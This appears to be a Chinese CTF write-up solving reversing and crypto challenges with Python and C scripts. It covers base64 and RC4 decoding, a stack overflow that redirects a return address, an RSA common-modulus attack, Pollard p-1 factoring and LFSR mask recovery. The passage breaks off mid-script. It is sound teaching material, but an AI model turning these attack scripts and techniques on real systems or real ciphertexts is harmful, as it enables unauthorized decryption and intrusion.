tmp = "+/1k6wlc+QFy5zN1+BVC3gVDKwx25zMd/CxU+glG4A925QVd+QRY4AQjBQF6+QFW+/J2GB5FASpuIvwb/Clu9AR1KwByCRRW/Qch+ANO+DM="
for j in range(0,9,2):
decode = base64_decode(tmp,tables.pop())
tmp = decode
print(tmp)
#输出:Pwn_and_base_is_so_Easy!

提交发现也不对,结合最后的输出内容发现前面的This_is_reserve?是最终flag的前16个字符串,从第20位才是后面解出来的Pwn_and_base_is_so_Easy!

中间差了3位,结合题目信息flag是NSSCTF{your input}推断和输入的key有关(实际完全没关系,但还是讲一下,代码不能白写

解密代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
def fun(a1,a2):
return a1 + 114514 + 16 * a2 - 66

for v15 in range(1000,3000):
for v14 in range(10,100):
for v13 in range(0,10,2):
v8 = v15 * 10000 + v14 * 100 + v13
v12 = fun(5 * v14, 1)
v11 = fun(v8, 11 * (v14 + v13 - 3))
v10 = v11 - 16 * v15 + v13 * v12
if v10 == 21241824:
print(v8)
#输出20241008

发现好像也不对,结合程序的提示信息12-16以及题目名反应过来和pwn有关,主函数在最下面调用了fun1,在fun1中将16位的FLAG赋值给了长度为12的Destination,而Destination距离rbp栈上的返回地址刚好差了16位

image-20241014104531966

所以需要利用栈溢出修改rbp的返回函数使其跳转到那个fun函数,函数地址是0x00402463对应需要输入的字符串为c$@,刚好三位

image-20241014105307544

最终

image-20241014105338609

提交后发现不对,问了下出题人,发现是因为跳转到0x00402464也可以实现最终的效果,对应字符串d$@

所以FLAG为:NSSCTF{This_is_reserve?d$@Pwn_and_base_is_so_Easy!}

好像也是py?

利用pycdc.exe进行反编译,但是这里的magic头有问题,所以需要先修改magic头

image-20241014154045383

本地不同的python版本的头都不一样,可以打开一个本地的pyc文件查看

然后直接反编译即可,也可以使用在线反编译工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.10

import base64
a = 'RGtAXV59UXtqTWVbUVd4aWs='
key = '114514'

def cmp():
if a == en:
print('Wow you are right!!!')
return None
None('No,Please try again')


def x(text, key):
return None((lambda .0 = None: pass# WARNING: Decompyle incomplete
)(enumerate(text)))


def case(text):
return text.swapcase()


def simple_add_sub(text, shift = (3,)):
return None((lambda .0 = None: pass# WARNING: Decompyle incomplete
)(text))


def encrypt(text, key):
xo = x(text, key)
sp = case(xo)
ass = simple_add_sub(sp)
final_text = base64.b64encode(ass.encode()).decode()
return final_text

if __name__ == '__main__':
print('请输入flag: ')
ot = input()
en = encrypt(ot, key)
cmp()
return None

发现有两处函数无法反编译成功,所以利用pycdas反编译成opcode解析

得到opcode后针对两处无法反编译的代码可利用ai工具解读

1
2
3
4
5
6
7
8
9
10
def x(text, key):
return ''.join(chr(ord(c) ^ (key[i % len(key)])) for i, c in enumerate(text))
def simple_add_sub(text):
a = []
for c in text:
if c.isalpha():
a.append(chr(ord(c) + shift))
else:
a.append(c)
return ''.join(a)

simple_add_sub有个shift变量有点奇怪,没找到具体的值是什么,但没关系我们可以爆破

最终的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def generate(key, text):
a = []
for i, c in enumerate(text):
a.append(chr((ord(key[i % len(key)]) ^ ord(c)) % 256))
return ''.join(a)
def process(shift, text):
a = []
for c in text:
if c.isalpha():
a.append(chr(ord(c) + shift))
else:
a.append(c)
return ''.join(a)
def case(text):
return text.swapcase()
ass = "Dk@]^}Q{jMe[QWxik"
key = '114514'
for i in range(-26,26):
sp = process(i, ass)
xo = case(sp)
print(generate(key, xo).encode())

输出内容中找到符合flag的字符串

image-20241014154849675

动态调试

直接将IDA获取的伪代码复制过来解密即可

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <stdio.h>
#include <string.h>
const char* key = "ysyy_114514";
__int64 __fastcall rc4_crypt(unsigned __int8* a1, unsigned __int8* a2, unsigned int a3)
{
unsigned __int8 v3; // r12
unsigned __int8 v4; // di
unsigned int v5; // eax
unsigned __int8 v7; // [rsp+2Fh] [rbp-11h]
unsigned int i; // [rsp+34h] [rbp-Ch]
int v9; // [rsp+38h] [rbp-8h]
int v10; // [rsp+3Ch] [rbp-4h]

v10 = 0;
v9 = 0;
for (i = 0; i < a3; ++i)
{
v10 = (v10 + 1) % 256;
v9 = (v9 + a1[v10]) % 256;
v7 = a1[v10];
a1[v10] = a1[v9];
a1[v9] = v7;
v3 = a2[i];
v4 = a1[(a1[v10] + a1[v9] + 1) % 256];
a2[i] = v3 ^ (v4 + key[i % strlen(key)]);
}
return 0;
}
int main() {
unsigned char v6[] =
{
0x43, 0xED, 0x29, 0x82, 0x47, 0x16, 0x1E, 0xF2, 0x2C, 0x1D,
0x25, 0x28, 0xA7, 0xC7, 0xD4, 0x23, 0x18, 0xA5, 0xEB, 0x6D,
0xAD, 0xC1, 0x13, 0x09, 0x6B, 0xE0, 0x76, 0x41, 0x22, 0x26,
0xA3, 0xE4, 0x20, 0xF1, 0x73, 0x32, 0xAC, 0x69, 0x07, 0xD0,
0xB3, 0x7C, 0xD7, 0x36, 0xB7, 0x37, 0xEA, 0x86, 0x2B, 0x5C,
0x24, 0x50, 0x62, 0x3F, 0x5D, 0xCA, 0x52, 0x4C, 0x2E, 0x74,
0x61, 0x80, 0x15, 0x31, 0x3D, 0x48, 0xD5, 0x8C, 0xB1, 0xEE,
0x70, 0xC8, 0xC2, 0xBE, 0xA2, 0x9B, 0x6E, 0xFF, 0x35, 0x1A,
0x4E, 0xB5, 0x8A, 0x05, 0xA4, 0x56, 0xCE, 0x2F, 0x67, 0x93,
0xAB, 0x10, 0x0C, 0x44, 0xC5, 0xBF, 0x9C, 0xE7, 0xD2, 0x01,
0x7E, 0x63, 0x92, 0x5F, 0x8B, 0x03, 0xC3, 0x65, 0x72, 0x33,
0xFA, 0xB2, 0xD8, 0x5B, 0xE5, 0x0E, 0x12, 0xA9, 0x9D, 0x53,
0xFB, 0x58, 0x19, 0x21, 0xF8, 0x83, 0xD9, 0xE6, 0x8E, 0xB8,
0x1F, 0xBA, 0x08, 0x71, 0x3C, 0x85, 0x8F, 0x97, 0x04, 0x90,
0x79, 0x49, 0x9A, 0x02, 0xDD, 0x95, 0xDA, 0x11, 0x84, 0x87,
0xF0, 0xAE, 0x51, 0xE2, 0x4A, 0xB9, 0x7B, 0xC9, 0xA0, 0xCD,
0x34, 0x9E, 0xC4, 0x0B, 0xA8, 0xCC, 0x2A, 0x0A, 0xFC, 0xF9,
0xFE, 0x3A, 0x0D, 0x6A, 0x55, 0xF6, 0xE3, 0xBB, 0xDC, 0x8D,
0xA1, 0x42, 0x6F, 0xCF, 0x7D, 0xC6, 0xF7, 0x99, 0x98, 0x78,
0xB4, 0x3E, 0x89, 0x14, 0x06, 0xBD, 0x4F, 0x59, 0xD3, 0x2D,
0x3B, 0xA6, 0x00, 0xE9, 0x0F, 0x68, 0xF4, 0x4D, 0x39, 0x7A,
0x7F, 0xD1, 0x1B, 0xD6, 0xF5, 0x94, 0x5E, 0x40, 0x27, 0x30,
0xAF, 0x9F, 0x17, 0xFD, 0x5A, 0x38, 0x54, 0x57, 0xE8, 0xEC,
0x88, 0xF3, 0xDB, 0x6C, 0x45, 0x75, 0xC0, 0x96, 0xDE, 0x91,
0x77, 0xAA, 0xEF, 0xE1, 0x81, 0xB6, 0x60, 0xBC, 0x46, 0xB0,
0xDF, 0x4B, 0xCB, 0x64, 0x66, 0x1C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00
};
unsigned char v1[] =
{
0xCF, 0xA0, 0xC7, 0x24, 0x93, 0xEC, 0x51, 0xFB, 0x5E, 0xA5,
0xEE, 0xC5, 0xE7, 0xEA, 0xBB, 0x4A, 0xE0, 0x6E, 0x16, 0x63,
0xF0, 0x1A, 0x91, 0x04, 0xC1, 0x7E, 0x3F, 0x2B, 0x4F, 0x53,
0xB0, 0x62, 0xA3, 0xA1, 0xCF, 0xC1, 0x73, 0x85, 0x5F, 0xEC,
0x14, 0xD8, 0xD4, 0xE2
};
int l = 44;
rc4_crypt(v6, (unsigned char*)v1, l);
printf("%s\n", v1);
return 0;
}

输出:

image-20241014171011806

这来做点数学题吧

解多元一次方程组

image-20241015133237327

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from scipy.optimize import fsolve
def solve_function(unsolved_value):
dword_40E0,dword_40E4,dword_40E8,dword_40EC,dword_40F0,dword_40F4,dword_40F8,dword_40FC,dword_4100,dword_4104,dword_4108,dword_410C,dword_4110,dword_4114,dword_4118,dword_411C,dword_4120,dword_4124,dword_4128,dword_412C,dword_4130 = unsolved_value[0], unsolved_value[1], unsolved_value[2],unsolved_value[3], unsolved_value[4], unsolved_value[5],unsolved_value[6],unsolved_value[7],unsolved_value[8],unsolved_value[9],unsolved_value[10],unsolved_value[11],unsolved_value[12],unsolved_value[13],unsolved_value[14],unsolved_value[15],unsolved_value[16],unsolved_value[17],unsolved_value[18],unsolved_value[19],unsolved_value[20]
return [
dword_40E4 - 83
, dword_40F0 + 32 * dword_40EC + 43 * dword_40E8 + 81 * dword_40E0 + 35 * dword_40F4 - 14565
, 23 * dword_40F0 + 13 * dword_40F4 + 78 * dword_40F8 - 12436
, 19 * dword_411C+ 10 * dword_4118+ 17 * dword_4114+ 15 * dword_4110+ 12 * dword_4108+ dword_4104 // 4+ dword_40FC+ 32 * dword_40F8+ 23 * dword_4100+ 10 * dword_4120 - 12539
, 23 * dword_4130+ 54 * dword_412C+ 32 * dword_4128+ 119 * dword_411C+ 121 * dword_4118+ 20 * dword_4114+ 130 * dword_4120+ 12 * dword_4124+ 213 * dword_4108 - 65168
, 1412 * dword_4110+ 139 * dword_4120+ 199 * dword_40FC+ 324 * dword_4118+ 165 * dword_4110+ 19 * dword_410C+ 193 * dword_40F8+ 144 * dword_40F4+ 143 * dword_4130 - 267159
, 867 * dword_4114+ 654 * dword_410C+ 678 * dword_4104+ 175 * dword_40FC+ 45 * dword_40F4+ 21 * dword_40E4+ 13 * dword_40EC+ 100 * dword_411C+ 24 * dword_4124 - 244923
, 54 * dword_4110+ 55 * dword_4130+ 119 * dword_4124+ 121 * dword_4120+ 20 * dword_40EC+ 130 * dword_4128+ 12 * dword_412C+ 213 * dword_4110 - 69874
, dword_40FC - 90
, dword_4130 - 125
, 233 * dword_4108+ 134 * dword_40E8+ 378 * dword_40F0+ 133 * dword_4104+ 178 * dword_40F8+ 443 * dword_40F4+ 11 * dword_40E4+ 543 * dword_410C - 188780
, 194 * dword_4120+ 643 * dword_411C+ 131 * dword_4118+ 131 * dword_4110+ 21 * dword_4114+ 204 * dword_4124+ 24 * dword_4128+ 214 * dword_412C - 151642
, 123 * dword_4128+ 25 * dword_4120+ 124 * dword_4114+ 37 * dword_4118+ 7457 * dword_411C+ 129 * dword_4124+ 164 * dword_412C+ 10 * dword_4130 - 772291
, 132 * dword_4120+ 807 * dword_411C+ 756 * dword_4118+ 163 * dword_4114+ 633 * dword_4110+ 423 * dword_410C+ 42 * dword_4108+ 534 * dword_4124 - 346862
, 867 * dword_4128+ 5956 * dword_4114+ 204 * dword_4110+ 374 * dword_4108+ 47 * dword_4104+ 485 * dword_411C+ 37 * dword_4120+ 375 * dword_4130 - 740703
, 37 * dword_4110+ 35 * dword_412C+ 856 * dword_4128+ 375 * dword_4124+ 3578 * dword_4120+ 567 * dword_40EC+ 55 * dword_4130+ 21 * dword_40F0 - 436075
, 59 * dword_40FC+ 52 * dword_40E8+ 102 * dword_40EC+ 24 * dword_40F0+ 204 * dword_40F4+ 13 * dword_40F8+ 54 * dword_4100+ 13 * dword_4104 - 38344
, 98 * dword_40FC+ 85 * dword_40F8+ 13 * dword_40F0+ 19 * dword_40EC+ 12 * dword_40E4+ 166 * dword_40E8+ 25 * dword_40F4+ 23 * dword_4100 - 39337
, 52 * dword_40E0 + 45 * dword_40E4 + 19 * dword_40FC + 76 * dword_4130 + 12 * dword_411C - 20141
, 56 * dword_40E4 + 34 * dword_40E0 + 75 * dword_40FC + 80 * dword_4130 + 16 * dword_411C + 19 * dword_4110 - 27375
, 54 * dword_4110+ 76 * dword_40FC+ 87 * dword_40E4+ 54 * dword_40E0+ 16 * dword_4130+ 18 * dword_411C+ 39 * dword_4128 - 31598

]


solved = fsolve(solve_function, [0, 0, 0,0, 0, 0,0,0, 0, 0,0,0, 0, 0,0, 0, 0,0,0, 0, 0])
print(solved)
for i in solved[:21]:
print(chr(int(round(i))),end="")

得到FLAG:NSSCTF{Z3_Is_So_Easy}

CRYPTO

脚本跑不出来了吧

题目:

1
2
3
4
5
e1*e2= 59653
n= 16282992590526808657350657123769110323293742472515808696156540766049532922340638986423163288656942484229334024198335416611687418341772216996129634991032127943095069143600315325916614910606100091970611448259491799589221889445348698100959509165262891180065554743420149168801638644589921791426690475846945077068114953844817073866258377206796158690941199907230130273657375727245023893672164113928189304228859412794067127721813637080447782673535996272223836127807775157150041664783263093604946744032762535394974814371771505843653571711445892969781888188805943142126747365056482511805191315474848971218180999336497135314654469910566730389765499603897685968204361422568601724914800686608628299192714352963744010136960423806304763245890692476493455775025753944860040020178234660999290356849442926396627701588938894161779071628447041006556793933320976506046066961014953196791133933438500843139378274786265308568167479880984705152809744111382599071097574636570516674122980589207824718402382459624138317432883921371298272851693734695823787102433937406420318428888224246291987404818042038201886113203158444083427668636941
c1= 15508846802476602732219982269293312372397631462289816533805702700260237855119470146237752798828431803179124957728439730580289236458563016332461725094295883030444173189424666004498359269921250956676320570006883951982237098373954348825003467019876101438948387668628518937831820206221522881150831840296199498447304138839838135264071071817072965792514115711621435317078108239744829134467948386247696344881838815422262901903767893118533887779588425725845820071451782420200868341564360095012698956683395031351656817392008005928265838760875070634021907630535014959579709368637536268853337028760833769278841040734409299575870823873616769863828516877971432999417800417684146077045836940988096634144368727546539602310924702126212020003620219218637652874119299016382481718659448722433296761241365473608283436835986184098161365747699791248301452334044327014782249692551362625130537300221641910570569803981153117200694806974917501061411963827755822672178568783269357196133308719688843211664095412087717861154226475203597889635926903753481174280305996204091501578865951177135086807765873529089048911740160698421289371229606
c2= 7038544062804420883340530319534054090343999593726615071597649914714397773106261660516938820194721330117082799104642674913839235601210294807255855747823709326405317366422536981850436536877639492293904186333547681934006229055311359852552059601531864585759120757265084674695094298158389804437120173997679271166467086009884419942249925895393890707373985126949313101489352481737754459985522998334847972008827503987883850638250024631354158979424169551575287515128697843093987592614974905262077415255065744686115142126350167970451060399517705823298929164793769442986603707135790651560436497661713972277808036463771768932747376668116480068277125579165831615220097562066809632099809702980365194257899499384219864311379004681733844738981954144617140038448109869114888325128710654235506628539192955240723379334422880368605005772426413018696218105733457019400100498450734710865067764542737004071080719589912326985050985424145053072697267879019954400205613591419766583673115931337146967400159040252514654983240188915104134405655336152730443436887872604467679522955837013574944135975481174502094839012368918547420588186051

首先分解质因数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import math

# 输入一个正整数
n = 59653
# 创建一个空列表,用于存储质因数
prime_factors = []

# 循环判断该正整数是否可以被2整除
while n % 2 == 0:
# 如果可以被2整除,将2添加到质因数列表中
prime_factors.append(2)
# 将该正整数除以2,更新n的值
n = n / 2

# 循环判断该正整数是否可以被其他素数整除
for i in range(3, int(math.sqrt(n))+1, 2):
# 如果可以被素数i整除,将i添加到质因数列表中
while n % i == 0:
prime_factors.append(i)
# 更新n的值
n = n / i

# 如果n大于2,说明剩下的数也是质因数,将其添加到质因数列表中
if n > 2:
prime_factors.append(n)

# 输出质因数列表
print(prime_factors)
#输出:[11, 11, 17, 29]

共模攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import gmpy2
import binascii

c1=
e1=
c2=
e2=

#扩展欧几里得算法
#return (r,x,y) 其中,r为a和b的最大公约数,xy满足ax + by = 1
r, s1, s2 = gmpy2.gcdext(e1, e2) #计算s1,s2
m = (gmpy2.powmod(c1,s1,n)*gmpy2.powmod(c2,s2,n)) % n #计算明文m

m = hex(m)[2:]
print("明文数据为:0x" + m)
flag = binascii.unhexlify(m)
print(flag)

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
e1e2= 59653
n= 16282992590526808657350657123769110323293742472515808696156540766049532922340638986423163288656942484229334024198335416611687418341772216996129634991032127943095069143600315325916614910606100091970611448259491799589221889445348698100959509165262891180065554743420149168801638644589921791426690475846945077068114953844817073866258377206796158690941199907230130273657375727245023893672164113928189304228859412794067127721813637080447782673535996272223836127807775157150041664783263093604946744032762535394974814371771505843653571711445892969781888188805943142126747365056482511805191315474848971218180999336497135314654469910566730389765499603897685968204361422568601724914800686608628299192714352963744010136960423806304763245890692476493455775025753944860040020178234660999290356849442926396627701588938894161779071628447041006556793933320976506046066961014953196791133933438500843139378274786265308568167479880984705152809744111382599071097574636570516674122980589207824718402382459624138317432883921371298272851693734695823787102433937406420318428888224246291987404818042038201886113203158444083427668636941
c1= 15508846802476602732219982269293312372397631462289816533805702700260237855119470146237752798828431803179124957728439730580289236458563016332461725094295883030444173189424666004498359269921250956676320570006883951982237098373954348825003467019876101438948387668628518937831820206221522881150831840296199498447304138839838135264071071817072965792514115711621435317078108239744829134467948386247696344881838815422262901903767893118533887779588425725845820071451782420200868341564360095012698956683395031351656817392008005928265838760875070634021907630535014959579709368637536268853337028760833769278841040734409299575870823873616769863828516877971432999417800417684146077045836940988096634144368727546539602310924702126212020003620219218637652874119299016382481718659448722433296761241365473608283436835986184098161365747699791248301452334044327014782249692551362625130537300221641910570569803981153117200694806974917501061411963827755822672178568783269357196133308719688843211664095412087717861154226475203597889635926903753481174280305996204091501578865951177135086807765873529089048911740160698421289371229606
c2= 7038544062804420883340530319534054090343999593726615071597649914714397773106261660516938820194721330117082799104642674913839235601210294807255855747823709326405317366422536981850436536877639492293904186333547681934006229055311359852552059601531864585759120757265084674695094298158389804437120173997679271166467086009884419942249925895393890707373985126949313101489352481737754459985522998334847972008827503987883850638250024631354158979424169551575287515128697843093987592614974905262077415255065744686115142126350167970451060399517705823298929164793769442986603707135790651560436497661713972277808036463771768932747376668116480068277125579165831615220097562066809632099809702980365194257899499384219864311379004681733844738981954144617140038448109869114888325128710654235506628539192955240723379334422880368605005772426413018696218105733457019400100498450734710865067764542737004071080719589912326985050985424145053072697267879019954400205613591419766583673115931337146967400159040252514654983240188915104134405655336152730443436887872604467679522955837013574944135975481174502094839012368918547420588186051

import libnum
import gmpy2

def rsa_gong_N_def(e1,e2,c1,c2,n): #共模攻击函数
e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n)
print("e1,e2:",e1,e2)
s = gmpy2.gcdext(e1, e2)
print("mpz:",s)
s1 = s[1]
s2 = s[2]
if s1 < 0:
s1 = - s1
c1 = gmpy2.invert(c1, n)
elif s2 < 0:
s2 = - s2
c2 = gmpy2.invert(c2, n)
m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n
return int(m)

def de(c, e, n): #因为此时的m不是真正的m,而是m^k,所以对m^k进行爆破
k = 0
while k<1000: #指定k小于1000
mk = c + n*k
flag, true1 = gmpy2.iroot(mk, e) #返回的第一个数值为开方数,第二个数值为布尔型,可整除为true,可自行测试
if True == true1:
# print(libnum.n2s(int(flag)))
return flag
k += 1
for e1 in range(2,e1e2):
if e1e2%e1==0: #爆破可整除的e
e2=e1e2//e1
c=rsa_gong_N_def(e1, e2, c1, c2, n)
e=gmpy2.gcd(e1,e2)
m1=de(c, e, n)
if m1: #指定输出m1
print(libnum.n2s(int(m1)))

lf_rsa_sr

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from Crypto.Util.number import *
from random import choice
from os import urandom

feedback_mask = ******
assert len(str(feedback_mask)) <= 32

m = feedback_mask
a = getPrime(512)
b = getPrime(512)
k = getPrime(32)
p = ((k+a)**4+(k+a)**3+(k+a)**2+(k+a)+231242352) % (a*b)
print('p = ', p)
print('ab = ', a*b)

flag1 = b'******'

# LFSR function
def llfsrr(state, feedback_mask):
next_state = (state << 1) & 0xffffffff
feedback = (state & feedback_mask) & 0xffffffff
xor_bit = 0
while feedback != 0:
xor_bit ^= (feedback & 1)
feedback >>= 1
next_state ^= xor_bit
return (next_state, xor_bit)

initial_state = 1
flag_as_long = bytes_to_long(flag1)
binary_flag = bin(flag_as_long)[2:]

with open("key", "w+", encoding='utf-8') as key_file:
for bit in binary_flag:
current_bit = int(bit)
(initial_state, lfsr_output) = llfsrr(initial_state, feedback_mask)
key_file.write(str(current_bit ^ lfsr_output))
# p = 73515108045714666344001860101558385800349882792180140606592603088439550265071166567351475528158426766746200565441538406081674366925892686831206592858684173618980491036292100281711010850965673957327076695569842301727637924419527427779589268566258948939644792541104600776589709773705685843343341419036440801768
# ab = 133028959545211482152501101708562215612797147899580615824339592484818037428945295772409480227937528585371289173602963839506074668390037463702925971697501944005819952142410292753329490850990328554235909921364926076552372877939809947219674356595286773085595543880743152940230290553696310341884739463733886865577




flag2=b'******'

def myprime(bits):
while True:
cnt = 2
while cnt.bit_length() < bits:
cnt *= choice(sieve_base)
candidate = cnt + 1
if isPrime(candidate):
return candidate



p = myprime(1024)
q = myprime(1024)
n = p * q
e = 65537
m = bytes_to_long(flag2)
ct = pow(m, e, n)
print(f'n = {n}')
print(f'ct = {ct}')
# '''
# n = 1025916122557719762926206861582981716132100754096867092334312895046737396243747053840640227471945369592531230741440647916657808213143429931671470797768738170175359609251567706847661434511439181190814168669642899345498111533291763947186677187403064300118082929554115282767136871537847583765307514534246865961276002779749485709860332907561207641177866552290868871509408379385911052130221144348302087440589340427086318508306778750619282779572521106710411563781124926001100833726878755612144365813505101451278395475056142904309435318863706278105575584793706255483452186344080864081199083519735155124010867331098066073471238601
# ct = 798211762565128766472181899123173786689738448015948604693660744879364038949153274888677805791206221041396528220597383175497311985254759936491303811734308085966844370193489926018431896972163302888638359962220262076052571190641257628029387439899123697991403265399453543649360286152014734751588864427256100638642159727075919375903880429763859000639886095094959589003725833357813417448362366703049127289659199843024099091854763868749591394385912186505685369058536088620646628228386987906191214966170097612671274318881704680313659367899864970857770992719294796616275390444028397207511940866618177900453490944239450302263907110
# '''

这道题考了两个知识点,RSA和LFRS,RSA可参考https://blog.csdn.net/m0_73725283/article/details/134702242z中的P6.py

RSA_PAYLOAD:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *
from gmpy2 import *
from bytes import *
n = 1025916122557719762926206861582981716132100754096867092334312895046737396243747053840640227471945369592531230741440647916657808213143429931671470797768738170175359609251567706847661434511439181190814168669642899345498111533291763947186677187403064300118082929554115282767136871537847583765307514534246865961276002779749485709860332907561207641177866552290868871509408379385911052130221144348302087440589340427086318508306778750619282779572521106710411563781124926001100833726878755612144365813505101451278395475056142904309435318863706278105575584793706255483452186344080864081199083519735155124010867331098066073471238601
c = 798211762565128766472181899123173786689738448015948604693660744879364038949153274888677805791206221041396528220597383175497311985254759936491303811734308085966844370193489926018431896972163302888638359962220262076052571190641257628029387439899123697991403265399453543649360286152014734751588864427256100638642159727075919375903880429763859000639886095094959589003725833357813417448362366703049127289659199843024099091854763868749591394385912186505685369058536088620646628228386987906191214966170097612671274318881704680313659367899864970857770992719294796616275390444028397207511940866618177900453490944239450302263907110
e = 65537
def Pollards_p_1(N):
a = 2 # 为了快速计算以及满足费马小定理条件
n = 2 # 从1开始没必要
while (True):
a = pow(a, n, N) # 递推计算a^B!
p = gcd(a - 1, N) # 尝试计算p
if p != 1 and p != N: # 满足要求则返回
# print(n)
return p
n += 1

p=Pollards_p_1(n)
q=n//p
phi=(p-1)*(q-1)
d=invert(e,phi)
m=powmod(c,d,n)
print(long_to_bytes(m))
#输出:le_a3_It_lo0ks}

RSA解得后半段的FLAG,接下来解LFSR

关于LFSR(线性反馈移位寄存器)之前没怎么遇到过,这里重点学习一下

一个标准的LFSR代码如下:

1
2
3
4
5
6
7
8
9
def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)

代码解释起来有点复杂,原理和详细的解释可参考CTF中的LFSR考点(一)

我们这里可以通过找规律来快速明白这段代码究竟做了什么。

代码传入两个参数R和mask,传出两个参数output和lastbit,如果将函数看作一个加密流程的话,R可以理解为明文,mask为密钥,output和lastbit均为密文,同时output一般会作为下一轮加密的明文。

若mask的第i位(从右开始数)为1,则将R的i位参与异或之后得到lastbit,R左移一位并将lastbit放入最右侧得到output。

举个例子:mask=0b0011,R=0b1101

mask的第一位和第二位为1,则将R的第一位和第二位异或得到0^1=1,所以lastbit就等于1,output就等于((R<<1) & 0xffffff)+lastbit=0b11011

多循环几轮就能很明显的看出规律了,并且可以发现在经过32轮循环后,output的值从左往右排分别就是第1轮到第32轮的lastbit(由于R最高32位,所以如果mask超过了32位,后续的位数不用管)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
mask = 0b0011
R = 0b1101
for i in range(0,35):
print(f"{bin(R)}:",end="")
R,lastbit = lfsr(R,mask)
print(lastbit)

输出

image-20241016101449529

带着这个规律我们回到题目,题目中的提示

1
2
3
4
5
6
a = getPrime(512)
b = getPrime(512)
k = getPrime(32)
p = ((k+a)**4+(k+a)**3+(k+a)**2+(k+a)+231242352) % (a*b)
print('p = ', p)
print('ab = ', a*b)

这块似乎没什么用,我们可以删掉

R为1,mask未知,key.txt内的内容是每一轮的lastbit和flag异或得到的,想要知道flag,得到lastbit即可解出

1
key="0111100010111111010100001001110010000010010110011010000000010000111010100110000101000100010011010111000110110000110101001101111100110010000010010010011010001011111000010101001110000001011000011000001010011101100100111100110110001000111111001000100110011011111001001001110011110001110001011000101"

思路:我们需要知道mask的哪些位为1,猜测flag的前几位为NSSCTF{,利用这个条件我们可以得到前几位的lastbit值,然后利用lastbit进一步得到mask来推出后续的lastbit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import *
from random import choice
key = "0111100010111111010100001001110010000010010110011010000000010000111010100110000101000100010011010111000110110000110101001101111100110010000010010010011010001011111000010101001110000001011000011000001010011101100100111100110110001000111111001000100110011011111001001001110011110001110001011000101"
flag1 = b'NSSCTF{'
flag_as_long = bytes_to_long(flag1)
binary_flag = bin(flag_as_long)[2:]
print(binary_flag)
indexs = []
a=[1]
initial_state = 1
for i, bit in enumerate(binary_flag):
lfsr_output = (int(bit)^int(key[i])) #得到lastbit
print(f"{bin(initial_state)}:{lfsr_output}")
b = a[:]
b.reverse()
a.append(lfsr_output)
result = 0
for j in range(len(b)-1):
if j in indexs:
